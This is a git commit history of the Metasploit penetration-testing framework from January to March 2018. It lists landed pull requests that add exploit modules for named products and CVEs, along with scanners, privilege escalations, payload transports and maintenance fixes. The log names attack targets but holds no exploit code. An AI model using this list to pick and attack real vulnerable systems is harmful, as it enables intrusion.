Brent Cook
707b358ad6
Land #9786 , disable aggregator for the Ruby 2.5 transition
2018-03-30 08:34:52 -07:00
Brent Cook
60376fe3f4
Land #9785 , bump rubies to address latest security issues
2018-03-30 08:34:52 -07:00
William Vu
10ed6637ed
Land #9782 , CheckCode::Safe for ms_ndproxy
2018-03-30 08:34:52 -07:00
William Vu
c7d5d1f489
Land #9783 , ARM WinRT support for ms17_010_psexec
2018-03-30 08:34:52 -07:00
Metasploit
5d9d0b19ee
Bump version of framework to 4.16.48
2018-03-29 10:03:51 -07:00
Brent Cook
9d076f6842
Land #9776 , if data is nil, stop reading the heartbleed socket
2018-03-29 09:42:03 -07:00
Jon Hart
36ba1468e8
Land #9760 , @h00die's etcd scanner
2018-03-29 09:17:54 -07:00
Jacob Robles
3b87bf5a03
Land #9666 , Add 2017-8917 RCE for Joomla 3.7.0
2018-03-29 09:17:54 -07:00
Wei Chen
6108d79dcd
Land #9684 , Adding ManageEngine Application Manager RCE
...
Land #9684
2018-03-27 15:44:50 -07:00
Wei Chen
409ae22a7e
Land #9633 , Exodus Wallet Remote Code Execution
...
Land #9633
2018-03-27 15:44:49 -07:00
William Vu
fdf9ea04a6
Land #9775 , module doc improvements to MS17-010
2018-03-27 15:44:49 -07:00
Wei Chen
5b1577e46d
Land #9670 , Gitstack v2.3.10 RCE
...
Land #9670
2018-03-27 14:24:23 -05:00
James Barnett
135b7c6b92
Land #9762 , Fix OpenSSL deprecation in Ruby 2.5
...
This PR replaces a deprecated method in the Ruby 2.5
OpenSSL library. It also bumps the ruby-version to use 2.5.
Fixes #9576
2018-03-27 14:24:07 -05:00
Brent Cook
17040e9894
Land #9768 , Use a better error in scriptable sessions
2018-03-27 14:21:48 -05:00
Jacob Robles
71a1ad69dc
Land #9636 , Improve post module persistence_exe
2018-03-27 14:21:48 -05:00
William Vu
57411b4ef8
Land #9708 , reload_lib command for msfconsole
2018-03-27 14:21:47 -05:00
William Vu
b870091380
Land #9423 , PSH for jenkins_xstream_deserialize
2018-03-27 14:21:47 -05:00
William Vu
c31a8ab687
Land #9618 , pipe auditing improvements
2018-03-27 14:21:47 -05:00
h00die
72d2b46ac8
Land #9767 land magick number blog link update
2018-03-27 14:21:46 -05:00
William Vu
26d333357b
Land #9765 , missed Rex require in msfvenom
...
My bad. I thought I had caught them all. No idea how that happened. :(
2018-03-27 14:21:46 -05:00
Brent Cook
584a6ca796
Land #9656 , add initial Komand plugin stub for evaluation
2018-03-27 14:21:41 -05:00
Brent Cook
106fbf8a17
Land #9586 , fix #9112 , improve android screenshot error message on failure
2018-03-27 14:21:02 -05:00
h00die
c56e571b18
Land #9702 exploit for clipbucket
2018-03-27 13:55:43 -05:00
Matthew Kienow
b860985347
Land #9747 , make notes -o status similar to hosts
2018-03-27 13:55:37 -05:00
Brent Cook
a94e6559e6
pin 4.x to the 2.x versions of metasploit-credential/metasploit_data_models
2018-03-27 11:34:48 -05:00
Adam Cammack
8bf76a71c2
Land #9739 , Add Python logging module support
2018-03-22 11:18:22 -07:00
Adam Cammack
517b32c836
Land #9737 , Add batch_size to external batch scanners
2018-03-22 11:18:22 -07:00
Brent Cook
37576d19a1
Land #9733 , rename external templates
2018-03-22 11:18:22 -07:00
Metasploit
030eae5f61
Bump version of framework to 4.16.47
2018-03-22 10:04:25 -07:00
Jeffrey Martin
2ad3124f85
Land #9723 , Require dependencies conditionally in msfvenom
2018-03-17 20:33:05 -07:00
Jeffrey Martin
d756db4f9d
Land #9613 , add bind_named_pipe x86
2018-03-17 20:33:05 -07:00
Brent Cook
ef7b77ed01
Land #9529 , Add module for HP iLO CVE-2017-12542 authentication bypass
2018-03-17 20:33:05 -07:00
Brent Cook
dcb514e5ac
Land #9694 , move ssh platforms to lib
2018-03-17 20:33:04 -07:00
Metasploit
7d072ccbcd
Bump version of framework to 4.16.46
2018-03-15 10:05:30 -07:00
Jacob Robles
715279311a
Land #8422 , Typo3 News Module Sql Injection exploit
2018-03-15 09:21:14 -07:00
h00die
8af0d9ceaa
Land #9713 update to juniper config docs
2018-03-15 06:49:02 -07:00
Brent Cook
44ac2e9c58
Land #9710 , update test with proper CPE
2018-03-15 06:49:02 -07:00
Brent Cook
bf43542743
Land #9705 , update rubocop rules
2018-03-15 06:49:01 -07:00
Tim W
8f4895c8e7
Land #9706 , bump metasploit payloads to fix #9497
2018-03-13 13:33:29 -07:00
Brent Cook
c5e231cfbf
Land #9686 , add ipv6 to slowloris, rhost to non-scanner modules
2018-03-13 13:33:28 -07:00
Brent Cook
028d329b4d
Land #9632 , owa_login and auth_brute enhancements
2018-03-12 10:14:19 -07:00
Jacob Robles
8c60a73731
varnish anonymous file read
2018-03-09 14:55:11 -06:00
Jacob Robles
bcc0a2a94c
Land #7654 , varnish file read
2018-03-09 12:53:20 -08:00
Metasploit
149f04cc58
Bump version of framework to 4.16.45
2018-03-08 10:05:29 -08:00
Jeffrey Martin
4778de053a
Land #9687 , bump payloads, fix PHP meterpreter message parsing
2018-03-07 18:47:47 -08:00
Jacob Robles
49bc0024c1
Land #9678 , Add memcached UDP version scanner
2018-03-07 18:47:47 -08:00
Jacob Robles
fbee660136
Land #9554 , Eclipse Equinoxe OSGi console RCE
2018-03-07 07:49:31 -08:00
Jon Hart
64019d3301
Land #9676 , correcting CVE and adding disclosure date for memcached
...
amplification
2018-03-07 07:49:30 -08:00
bwatters-r7
4ef90d8d6c
Land #9606 , Add some tests for cmd_exec
...
Merge branch 'for-the-windows' into upstream-master
2018-03-07 07:49:30 -08:00
Christian Mehlmauer
c1b50f728b
Land #9672 , fix docker build
2018-03-07 07:49:30 -08:00
Brent Cook
f6223c0193
Land #9614 , Juniper post enum module
2018-03-07 07:49:29 -08:00
bwatters-r7
9be7bc9b21
Land #9665 , Add missing reverse_tcp_rc4 payload tests.
...
Merge branch 'land-9665' into upstream-master
2018-03-05 15:29:21 -08:00
William Vu
d3b4f91b4c
Land #9671 , missed code from TelnetEnable refactor
2018-03-05 15:29:21 -08:00
Jon Hart
6909c635bc
Land #9644 , @xistence's memcached stats amplification scanner
2018-03-05 15:29:20 -08:00
Brent Cook
31bf6d1bd0
Land #9669 , fix SSL cert generation in provider
2018-03-05 15:29:20 -08:00
h00die
2731b91036
Land #9658 spelling and grammar fixes
2018-03-05 07:42:48 -08:00
h00die
e57a1fbd43
Land #9650 netgear telnetenable exploit
2018-03-05 07:42:48 -08:00
h00die
d5edb566f5
Land #9661 fix for heart logo
2018-03-05 07:42:48 -08:00
bwatters-r7
00d5fcfd97
ReLand #9565 , Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
...
This reverts commit 7964868fcd .
2018-03-02 17:46:46 -06:00
Jacob Robles
0c86296d99
Land #9659 , fix typo in comment
2018-03-02 17:46:21 -06:00
bwatters-r7
d2150c8d15
Revert "Land #9565 , Reverse TCP x64 RC4 via max3raza's rc4_x64 asm"
...
This reverts commit fcc579377f , reversing
changes made to 95cd149378 .
2018-03-02 17:45:58 -06:00
bwatters-r7
4841f29190
Land #9565 , Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
2018-03-02 16:41:33 -06:00
h00die
6060549512
Land #9654 msf heart logos
2018-03-02 16:41:33 -06:00
Jon Hart
b63a018509
Land #9596 , fixes #9592 , broken NTP DRDoS modules
2018-03-02 16:41:24 -06:00
Brent Cook
4839e8e7c8
Land #9647 , lock protobuf version
2018-03-01 15:40:04 -06:00
Metasploit
80f34c9b2d
Bump version of framework to 4.16.44
2018-03-01 10:03:02 -08:00
William Vu
3fd2862f76
Land #9639 , multi/handler exit on disabled handler
...
If DisablePayloadHandler is set, abort instead of hanging.
2018-03-01 07:48:02 -08:00
Metasploit
096ca90953
Bump version of framework to 4.16.43
2018-03-01 07:32:21 -08:00
Sonny Gonzalez
667cc5bcca
Land #9653 , fix Y2k38 issue (until Jan 1, 2038)
2018-03-01 09:28:11 -06:00
Jeffrey Martin
789034a06c
Land #9638 , treat 'password must change' as a successful login
2018-02-28 13:25:22 -08:00
h00die
b2f112fd2b
Land #9641 spelling fix for wmap rc
2018-02-28 08:50:01 -08:00
William Vu
fac7f3d5be
Fix #9602 , a little defensive programming
...
Check for a nil message and unnecessary auth failures while looping.
2018-02-26 18:08:37 -06:00
Brent Cook
95a5ebc1e7
Land #9629 , decouple hosts and targets for tests
2018-02-26 16:07:16 -08:00
Wei Chen
735fbc5c9f
Land #9623 , Support Win 2008/7+ for enum_ms_product_keys
...
Land #9623
2018-02-25 23:25:03 -08:00
h00die
fc8cafe81a
Land #9310 docs for many aux scanners
2018-02-25 23:25:02 -08:00
Brent Cook
bffba1e5e3
Land #9607 , upgrade osx shells to osx meterpreter
2018-02-25 23:25:02 -08:00
Metasploit
3021a3202b
Bump version of framework to 4.16.42
2018-02-23 08:57:01 -08:00
William Vu
0a5e9d922f
Land #9601 , ms17_010_eternalblue reliability fixes
2018-02-23 08:31:02 -08:00
Brent Cook
2af4f56382
Land #9611 , Fix bug causing all OWA logins to appear valid
2018-02-23 08:31:01 -08:00
bwatters-r7
ac6fede928
Land #9441 , Create exploit for AsusWRT LAN RCE
...
Merge branch 'land-9441' into upstream-master
2018-02-23 08:31:01 -08:00
Metasploit
c7cd9ca395
Bump version of framework to 4.16.41
2018-02-22 10:05:34 -08:00
Brent Cook
fd029eda62
lock ruby_smb to 0.0.18 to match master
2018-02-22 11:13:12 -06:00
Jacob Robles
178afdaed1
Land #9604 , Fix logged errors when running without Python 3.6 / gmpy2
2018-02-22 08:27:37 -08:00
Brent Cook
a189673782
Land #9584 , Fix reverse_php_ssl infinite loop
2018-02-22 08:27:36 -08:00
Brent Cook
826b986018
Land #9602 , Create sessions with the Fortinet SSH backdoor scanner
2018-02-22 08:27:36 -08:00
Brent Cook
4e8fe54c6c
Land #9524 , prefer 'shell' channels over 'exec' channels for ssh CommandStream
2018-02-22 08:27:36 -08:00
William Vu
c1d701f656
Land #9593 , finger_users regex fix
2018-02-22 08:27:35 -08:00
Aaron Soto
dc913b60e4
Land #9444 - hsts_eraser module and docs
2018-02-22 08:27:35 -08:00
Jacob Robles
40220b5ab6
Land #9594 , CloudMe Sync v1.10.9 Buffer Overflow
2018-02-22 08:27:35 -08:00
Jacob Robles
72cb9f358e
Land #9561 , Disk Savvy Enterprise v10.4.18 built-in server buffer overflow
2018-02-22 08:27:34 -08:00
Brent Cook
eb54ae4ec0
Land #9589 , add some more payload specs
2018-02-20 10:18:22 -08:00
Brent Cook
3635a92f5a
Land #9588 , Fix silent fail on missing argument to wmap_sites -d idx
2018-02-20 09:24:55 -06:00
Brent Cook
af8736cad6
Land #9585 , fix ctrl-D handling with block continuation
2018-02-20 09:24:54 -06:00
Brent Cook
72efbb9534
Land #9583 , move osx stage binary
2018-02-20 09:24:54 -06:00
Brent Cook
d614e06bfa
Land #8997 , add local 'ls' support to Meterpreter sessions
2018-02-20 09:24:54 -06:00
Brent Cook
59a41f04f7
Land #9366 , Add x64 staged Meterpreter for macOS
2018-02-20 09:24:41 -06:00
Brent Cook
8c2484d2da
Land #9164 , add OWA 2016 support
2018-02-20 09:24:13 -06:00
Chris Higgins
d2c203bcb9
Lands #9504 , MagniComp SysInfo privilege escalation
2018-02-20 09:24:13 -06:00
Brent Cook
13c8072bca
Land #9505 , Support local knowledge base documents
2018-02-20 09:24:12 -06:00
Brent Cook
5dede95e98
Land #9270 , Implement plugin API for hooking database events
2018-02-20 09:24:12 -06:00
Brent Cook
2395f839d0
Land #9507 , Expand paths for meterpreter's cp, mv, and rm commands
2018-02-20 09:24:12 -06:00
Brent Cook
a27b2bff3c
Land #9443 , Add warning to FileDropper for deleting CWD
2018-02-20 09:24:11 -06:00
Brent Cook
f581942c7f
Land #9575 , Fix wmap_sites -a exception on missing url
2018-02-18 20:27:53 -08:00
Brent Cook
b3962c73b0
Land #9573 , fixes for bind_named_pipe
2018-02-18 20:27:53 -08:00
Brent Cook
2d10a9a201
Land #9568 , handle mismatch uid/gids in docker images
2018-02-18 20:27:53 -08:00
Brent Cook
0b719772cb
Land #9572 , add bind_named_pipe tests
2018-02-18 15:32:11 -08:00
Brent Cook
d89a8c3eb9
Land #9571 , specify a python encoding for the claymore DoS module
2018-02-16 15:34:49 -08:00
Brent Cook
f055bccc2a
Land #9570 , properly handle when there is no stat callback specified on upload
2018-02-16 15:34:49 -08:00
Brent Cook
51a685bcc7
Land #9516 , Support Bash-Style Continuation Lines
2018-02-16 15:34:48 -08:00
Brent Cook
d2e71cfc8b
Land #9512 , Add Claymore Dual GPU Miner<= 10.5 DoS module
2018-02-16 15:34:48 -08:00
Brent Cook
60e37e1c78
Land #9562 , avoid an error with aux module command dispatcher
2018-02-16 15:34:48 -08:00
Brent Cook
31ed50ac92
Land #9539 , add bind_named_pipe transport to Windows meterpreter
2018-02-16 15:34:47 -08:00
Wei Chen
004e228a52
Land #9509 , Ulterius Server < v1.9.5.0 Directory Traversal
...
Land #9509
2018-02-16 15:34:47 -08:00
Brent Cook
e8ad3a98e9
Land #9558 , Fix #9417 , map timeout exp to a var for telnet_encrypt_overflow
2018-02-15 14:14:07 -08:00
Brent Cook
b9a8f227fb
Land #9533 , Add output file support to the vulns command
2018-02-15 14:14:07 -08:00
Brent Cook
87dcb13413
update magic numbers
2018-02-15 15:25:47 -06:00
Brent Cook
1045c1fc11
Land #9564 , honoring retry counts for x86/64 Windows reverse_tcp payloads
2018-02-15 13:22:56 -08:00
Brent Cook
c5a73bdea3
Land #9563 : improve memory usage on meterpreter file upload
2018-02-15 13:22:55 -08:00
Brent Cook
7cde510eb6
Land #9560 , Fix undef method 'gsub' in bavision_cam_login
2018-02-15 13:22:55 -08:00
Metasploit
358954e15c
Bump version of framework to 4.16.40
2018-02-15 10:03:12 -08:00
Brent Cook
0cee8485d0
Land #9557 , add back udp_probe for now
2018-02-14 11:26:59 -08:00
Spencer McIntyre
bdc0b47844
Land #9552 , add private_type for stored tomcat pw
...
Fixes #9513
2018-02-13 19:55:54 -08:00
Jeffrey Martin
aecc1f143f
Land #7699 , Add UDP handlers and payloads (redux)
2018-02-13 14:46:07 -08:00
Jacob Robles
f281b45384
Land #9546 , Correct Typo
2018-02-13 14:46:07 -08:00
Jacob Robles
e485b152e3
Land #9542 , Correct Typo
2018-02-13 14:46:06 -08:00
Jeffrey Martin
1126acb201
Land #9543 , bump gems, remove rbnacl/ffi since unneeded
2018-02-12 11:57:18 -06:00
h00die
37cb2d77e7
Land #9422 abrt race condition priv esc on linux
2018-02-12 11:55:21 -06:00
Pearce Barry
6c3168c541
Land #9536 , Add Ubuntu notes to documentation
2018-02-12 11:55:19 -06:00
Pearce Barry
73bcec5d11
Land #9408 , Add Juju-run Agent Privilege Escalation module (CVE-2017-9232)
2018-02-12 11:55:19 -06:00
h00die
090f7c8bd6
Land #9467 linux priv esc against glibc origin
2018-02-12 11:55:19 -06:00
Wei Chen
72ed11574b
Land #9532 , Fix a bug in the MD docs references
...
Land #9532
2018-02-12 11:55:18 -06:00
h00die
cd7187023c
Land #9469 linux local exploit for glibc ld audit
2018-02-12 11:55:18 -06:00
Brent Cook
32bd516e70
Land #9525 , Update mysql_hashdump for MySQL 5.7 and above
2018-02-12 11:55:17 -06:00
Jacob Robles
656eb1150a
Land #9489 , Add scanner for the Bleichenbacker oracle (AKA: ROBOT)
2018-02-09 16:11:57 -06:00
Metasploit
55ae1f7bbe
Bump version of framework to 4.16.39
2018-02-09 09:49:50 -08:00
Pearce Barry
4d4538dceb
Merge pull request #9531 from pbarry-r7/4.x-pick-up-ROBOT
...
Cherry-pick from master for 4.x (pick up ROBOT). Using green GH button because I effed up my cmdline... :/
2018-02-09 11:37:16 -06:00
Adam Cammack
cd723ac86e
Add scanner for Bleichenbacher oracle (ROBOT)
2018-02-09 11:14:30 -06:00
Adam Cammack
b0da7fcd26
Add Enum-type options for external modules
2018-02-09 11:14:21 -06:00
Adam Cammack
0fe2fb9186
Add support for single-IP external scanners
2018-02-09 11:14:14 -06:00
Metasploit
a7e779d987
Bump version of framework to 4.16.38
2018-02-08 10:04:59 -08:00
Brent Cook
b696665adc
Land #9478 , Improve Dup Scout BOF exploit
2018-02-08 10:25:39 -06:00
Brent Cook
909b787a56
Land #9521 , flush pipe buffers when a process exists in mettle
2018-02-08 10:25:25 -06:00
h00die
5457cec81c
Land #9493 updates to various docs
2018-02-06 23:33:58 -06:00
scriptjunkie
64c0d60fbf
Land #9492 , fix for reverse port forwards
2018-02-06 23:33:52 -06:00
Matthew Kienow
49c9b3cf1e
Land #9491 , remove extra HTML from doc templates
2018-02-06 23:33:51 -06:00
Adam Cammack
e82ff28374
Land #9490 , Fix HTML escaping of Unicode in docs
2018-02-06 23:33:34 -06:00
Metasploit
1fdc4bdabb
Bump version of framework to 4.16.37
2018-02-02 09:51:35 -08:00
William Vu
6c350be24e
Land #9473 , new MS17-010 aux and exploit modules
2018-02-02 11:32:40 -06:00
h00die
016af01fd8
Land #9399 a linux priv esc against apport and abrt
2018-02-02 11:32:29 -06:00
Brent Cook
ce3d5d77e4
Land #9481 , Update native DNS spoofer for Dnsruby
2018-02-02 11:32:18 -06:00
Brent Cook
ec12d61702
Land #9354 , Debut embedded httpd server (Brother printers) DoS
2018-02-02 11:31:59 -06:00
Metasploit
445b72fdcd
Bump version of framework to 4.16.36
2018-02-01 10:03:16 -08:00
Brent Cook
48c3c7cd62
Land #9475 , Fix import for Fix proxy authentication in reverse_http
2018-02-01 11:24:10 -06:00
bwatters-r7
64746d8325
Land # 9407, Add BMC Server Automation RSCD Agent RCE exploit module
...
Merge branch 'land-9407' into upstream-master
2018-02-01 11:23:59 -06:00
h00die
b7fbffa331
Land #9445 fixes for ssl labs scanner module
2018-02-01 11:23:46 -06:00
Jacob Robles
4fa68f29d9
Land #9457 , Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow
2018-02-01 11:23:26 -06:00
Christian Mehlmauer
a9d4a98d80
Land #9470 , Update docker image dependencies
...
fix #8211
2018-02-01 11:22:51 -06:00
Metasploit
cca76d2217
Bump version of framework to 4.16.35
2018-01-26 16:18:28 -08:00
William Vu
bff02efad4
Land #9466 , metasploit-payloads bump to 1.3.28
2018-01-26 18:09:20 -06:00
Aaron Soto
395320ba97
Land #9379 , Oracle Weblogic RCE exploit and documentation
2018-01-26 18:08:56 -06:00
William Vu
a87ae41d81
Land #9446 , Post API fix for setuid_nmap
2018-01-26 18:08:47 -06:00
Jeffrey Martin
0d98135fcb
Land #9462 , add missing payload tests
2018-01-26 18:08:34 -06:00
Metasploit
c2379308cf
Bump version of framework to 4.16.34
2018-01-25 10:04:45 -08:00
bwatters-r7
af0c58c2ae
Land #9335 , Added socket bind port option for reverse tcp payload.
...
Merge branch 'land-9335' into upstream-master
2018-01-24 17:20:14 -06:00
Matthew Kienow
b515a582f0
Land #9424 , Add SharknAT&To external scanner
2018-01-24 17:20:03 -06:00
Brent Cook
25652c6c17
add missing gemfile.lock update
2018-01-24 17:19:06 -06:00
Pearce Barry
926ce42a01
Land #8632 , colorado ftp fixes
2018-01-24 17:13:20 -06:00
bwatters-r7
2ea9ab2625
Land #9416 , Sync Breeze Enterprise 9.5.16 Import Command buffer overflow
...
Merge branch 'land-9416' into upstream-master
2018-01-24 17:13:16 -06:00
Adam Cammack
a4022f7b8f
Land #9430 , Improve Hyper-V checkvm checks
2018-01-24 17:13:12 -06:00
bwatters-r7
06b702e86b
Land #9449 , bump metasploit-payloads from 1.3.25 to 1.3.27
...
rapid7/metasploit-payloads#264
rapid7/metasploit-payloads#263
Merge branch 'land-9449' into upstream-master
2018-01-24 17:13:08 -06:00
bwatters-r7
8f2de5cd41
Land #9205 , Documentation for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
...
Merge branch 'land-9205' into upstream-master
2018-01-24 17:13:05 -06:00
bwatters-r7
a136841794
Land #9114 , Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
...
Merge branch 'land-9114' into upstream-master
2018-01-24 17:13:00 -06:00
Brent Cook
15f631dcb5
Land #9452 , expose linux/osx meterpreter process hiding
2018-01-24 17:12:56 -06:00
Brent Cook
d6beb94c59
Land #6611 , add native DNS to Rex, MSF mixin, sample modules
2018-01-24 17:12:52 -06:00
Brent Cook
5ec3da843e
Land #9349 , GoAhead LD_PRELOAD CGI Module
2018-01-24 17:12:47 -06:00
Brent Cook
294a8e0ada
Land #9413 , Expand the number of class names searched when checking for an exploitable JMX server
2018-01-24 17:12:43 -06:00
Brent Cook
bb73d2c07e
Land #9431 , Fix owa_login to handle inserting credentials for a hostname
2018-01-24 17:12:39 -06:00
Brent Cook
47682e3f37
Land #9404 , update module author
2018-01-24 17:12:34 -06:00
Brent Cook
5fc1988d63
Land #9398 , allow UTF-8 module names and authors
2018-01-24 17:12:30 -06:00
Wei Chen
ab610f599b
Land #9442 , Remove NoMethod Rescue for cerberus_sftp_enumusers
...
Land #9442
2018-01-24 17:12:25 -06:00
William Vu
7da3bdd081
Land #9432 , cmd_edit improvements (again!)
...
We seem to enjoy refactoring this method.
2018-01-24 17:12:20 -06:00
Wei Chen
10fafb62bb
Land #9436 - Fix cerberus_sftp_enumusers undefined method start for nil
...
Land #9436
Thanks Steve!
2018-01-24 17:12:16 -06:00
Brent Cook
512192d3b0
Land #9267 , Add targets to sshexec
2018-01-24 17:12:12 -06:00
Brent Cook
55c345418d
Land #9438 , address cmd_exec inconsistencies
2018-01-24 17:11:40 -06:00
Brent Cook
b8fc2c0213
Land #9389 , Update commvault_cmd_exec module documentation
2018-01-24 17:11:34 -06:00
Brent Cook
23619431aa
update stageless python sizes
2018-01-24 17:08:51 -06:00
Brent Cook
0916d8402e
fix whitespace patchups for current python meterpreter
2018-01-24 17:08:33 -06:00
Jeffrey Martin
bf6540585f
lock google-protobuf and grpc on 4.x
2018-01-19 16:15:09 -06:00
Metasploit
898aa82933
Bump version of framework to 4.16.33
2018-01-18 10:05:22 -08:00
Brent Cook
d6e966b079
Land #9414 , wp_admin_shell_upload - remove plugin dir after exploitation
2018-01-16 21:08:22 -06:00
William Vu
77e76a80a1
Land #9419 , grammar fixes for modules and docs
2018-01-15 23:25:48 -06:00
Brady Sullivan
593813cdef
Fix small grammar issues in ms08_067 and ms17_010
...
Also includes very small changes to improve punctuation consistency
within CONTRIBUTING.md
2018-01-15 19:32:44 -08:00
William Vu
e5bd36da1c
Land #9402 , NIS bootparamd domain name disclosure
2018-01-15 15:36:00 -06:00
Christian Mehlmauer
2f9eebe28b
remove plugin dir
2018-01-15 14:48:59 +01:00
William Vu
736d438813
Address second round of feedback
...
Brain fart on guard clauses when I've been using them all this time...
Updating the conditions made the ternary fall out of favor.
Changed some wording in the doc to suggest the domain name for a
particular NIS server may be different from the bootparamd client's
configuration.
2018-01-13 22:55:01 -06:00
William Vu
1a8eb7bf2a
Update nis_ypserv_map after bootparam feedback
...
Yes, yes, I see the off-by-one "error." It's more accurate this way.
Basically, we want to ensure there's actually data to dump.
2018-01-13 15:40:17 -06:00
William Vu
c080329ee6
Update module after feedback
...
Looks like I can't decide on certain style preferences.
Not keen on using blank?, but I've used it before. Time to commit?
Also, fail_with has been fixed for aux and post since #8643 . Use it!
2018-01-13 15:40:11 -06:00
William Vu
eb8429cbd3
Revert "umlaut"
...
This reverts commit ffd7073420 .
2018-01-12 22:57:22 -06:00
Brendan Coles
ffd7073420
umlaut
2018-01-13 15:48:45 +11:00
Jeffrey Martin
1f1dc59d17
Land #9392 , python meterpreter whitespace normalization
2018-01-12 21:24:13 -06:00
William Vu
ff1c85552b
Add module doc
2018-01-12 19:34:59 -06:00
William Vu
2916c5ae45
Rescue Rex::Proto::SunRPC::RPCTimeout
...
Coincidentally, this also fixes the rescue in the library, since
rescuing Timeout instead of Timeout::Error does nothing.
2018-01-12 19:34:59 -06:00
William Vu
0c9f1d71d3
Add NIS bootparamd domain name disclosure
2018-01-12 19:34:53 -06:00
sinn3r
72d39d3186
Merge pull request #9400 from Agahlot/master
...
Small Typo
2018-01-12 09:36:53 -06:00
Agahlot
488f27bf76
Small Typo
2018-01-12 07:05:30 -05:00
Wei Chen
e6c4fb1dab
Land #9269 , Add a new target for Sync Breeze Enterprise GET BoF
...
Land #9269
2018-01-11 16:54:23 -06:00
Wei Chen
f395e07fc6
Land #9269 , add new target for Sync Breeze Enterprise GET BoF
...
Land #9269
2018-01-11 16:53:02 -06:00
Metasploit
18f16e7c66
Bump version of framework to 4.16.32
2018-01-11 10:03:16 -08:00
William Vu
4b225c30fd
Land #9368 , ye olde NIS ypserv map dumper
2018-01-10 22:02:36 -06:00
William Vu
1a8ffed5e3
Land #9369 , register_dir{,s}_for_cleanup
2018-01-10 22:02:15 -06:00
William Vu
b1cecd4193
Bump TIMEOUT in Msf::Exploit::Remote::SunRPC
2018-01-10 20:36:35 -06:00
William Vu
f66b11f262
Nix an unneeded variable declaration
2018-01-10 20:24:02 -06:00
William Vu
f5210ed6d6
Update module doc with missing options
2018-01-10 20:18:50 -06:00
Wei Chen
6510ee53bc
Land #9204 , Add exploit for Samsung SRN-1670D (CVE-2017-16524)
...
Land #9204
2018-01-10 20:15:29 -06:00
Wei Chen
18c179a091
Update module and add documentation
...
This updates the module to pass:
* msftidy
* Ruby style guidelines
* Proper usage of Metasploit API
* Mostly other cosmetic fixes
A documentation is also added.
2018-01-10 20:13:42 -06:00
William Vu
1c1f3b161e
Rescue XDR errors in Msf::Exploit::Remote::SunRPC
2018-01-10 20:11:30 -06:00
William Vu
b66889ac86
Rescue additional errors and refactor code
...
https://jvns.ca/blog/2015/11/27/why-rubys-timeout-is-dangerous-and-thread-dot-raise-is-terrifying/
2018-01-10 20:11:25 -06:00
Wei Chen
7e2c7837e5
Land #9325 , Add CVE-2017-6090 phpCollab 2.5.1 file upload exploit module
...
Land #9325
2018-01-10 17:39:50 -06:00
Wei Chen
b1f3f471f3
Update phpcollab_upload_exec code (also module documentation)
2018-01-10 17:38:52 -06:00
Wei Chen
dd737c3bc8
Land #9317 , remove multiple deprecated modules
...
Land #9317
The following modules are replaced by the following:
auxiliary/scanner/discovery/udp_probe
is replaced by:
auxiliary/scanner/discovery/udp_sweep
exploit/unix/webapp/wp_ninja_forms_unauthenticated_file_upload
is replaced by:
exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
exploit/windows/misc/regsvr32_applocker_bypass_server
is replaced by:
exploits/multi/script/web_delivery
2018-01-10 15:47:20 -06:00
Wei Chen
8d77f35b16
Land #9373 , Add LabF nfsAxe FTP Client 3.7 Stack Buffer Overflow
...
Land #9373
2018-01-09 22:40:50 -06:00
Wei Chen
25280e3319
Update labf_nfsaxe and module documentation
2018-01-09 22:39:40 -06:00
Brent Cook
f125e13278
python meterpreter whitespace normalization
2018-01-09 16:08:52 -05:00
Wei Chen
777e383568
Land #9377 , Add HPE iMC dbman RestoreDBase Unauthenticated RCE exploit
...
Land #9377
2018-01-09 13:56:53 -06:00
Wei Chen
a0c9cdd73d
Land #9376 , Add HPE iMC dbman RestartDB Unauthenticated RCE exploit
...
Land #9376
2018-01-09 13:28:03 -06:00
Brent Cook
cb82015c87
Land #9387 , Check exploit stance for array as well as string
2018-01-09 03:52:59 -05:00
Brent Cook
573ee28631
Land #9378 , Detect and return on bad VNC negotiations
2018-01-09 03:46:00 -05:00
William Vu
f1bb3feb34
Land #9388 , update LICENSE and COPYING
2018-01-09 00:01:49 -06:00
William Vu
4849c6cdf1
Update COPYING
2018-01-09 00:01:35 -06:00
William Vu
bbad416a86
Add module doc to appease the @h00die god
2018-01-08 15:02:39 -06:00
William Vu
4a5a17a8e1
Add NIS ypserv map dumper
2018-01-08 14:27:53 -06:00
Aaron Meese
463d9b836b
Update LICENSE
...
Updated year
2018-01-08 14:17:44 -06:00
William Vu
333d57461a
Check exploit stance for array as well as string
...
An exploit can be both aggressive and passive.
2018-01-08 13:52:04 -06:00
Wei Chen
693a12e307
Land #9384 , Add mkienow to the mailmap file
...
Land #9384
2018-01-07 20:35:01 -06:00
Matthew Kienow
3c23fda36a
Add mkienow to the mailmap
2018-01-07 18:00:21 -05:00
Wei Chen
a633caf734
Land #9382 , Add Aaron to mailmap
...
Land #9382
2018-01-07 12:22:09 -06:00
Wei Chen
d138f1508c
Land #9340 , Add exploit for Commvault Remote Command Injection
...
Land #9340
2018-01-07 12:17:26 -06:00
Daniel Teixeira
ff1806ef5f
Update labf_nfsaxe.rb
2018-01-07 16:46:06 +00:00
Pearce Barry
340cd66b7c
Add Aaron to the mailmap. Woo!
2018-01-06 22:37:30 -06:00
William Vu
461f1c12e6
Fix nil bug(s) by moving arrays to initialize
2018-01-06 02:31:16 -06:00
William Vu
14143c2b90
Fix missed file_dropper_win_path
2018-01-06 01:44:25 -06:00
Brendan Coles
a1a594d1f8
Add documentation
2018-01-06 05:09:24 +00:00
Brendan Coles
9ec17bdd54
Add documentation
2018-01-06 05:08:33 +00:00
Daniel Teixeira
a69f275a39
Update labf_nfsaxe.rb
2018-01-05 21:14:47 +00:00
Daniel Teixeira
c819aebc76
Add files via upload
2018-01-05 21:11:21 +00:00
Daniel Teixeira
3fd13b86c3
Add files via upload
2018-01-05 21:02:18 +00:00
Daniel Teixeira
e797ca4781
Add files via upload
2018-01-05 21:00:47 +00:00
Daniel Teixeira
aca76e2a4e
Update labf_nfsaxe.rb
2018-01-05 20:58:36 +00:00
Daniel Teixeira
2643acbc25
Update labf_nfsaxe.rb
2018-01-05 20:55:49 +00:00
Daniel Teixeira
b29710c66b
Add files via upload
2018-01-05 20:47:27 +00:00
Daniel Teixeira
d34541aebd
Update labf_nfsaxe.rb
2018-01-05 20:44:40 +00:00
Daniel Teixeira
05dc90c615
Update labf_nfsaxe.rb
2018-01-05 20:44:38 +00:00
Daniel Teixeira
94a1198485
Update labf_nfsaxe.rb
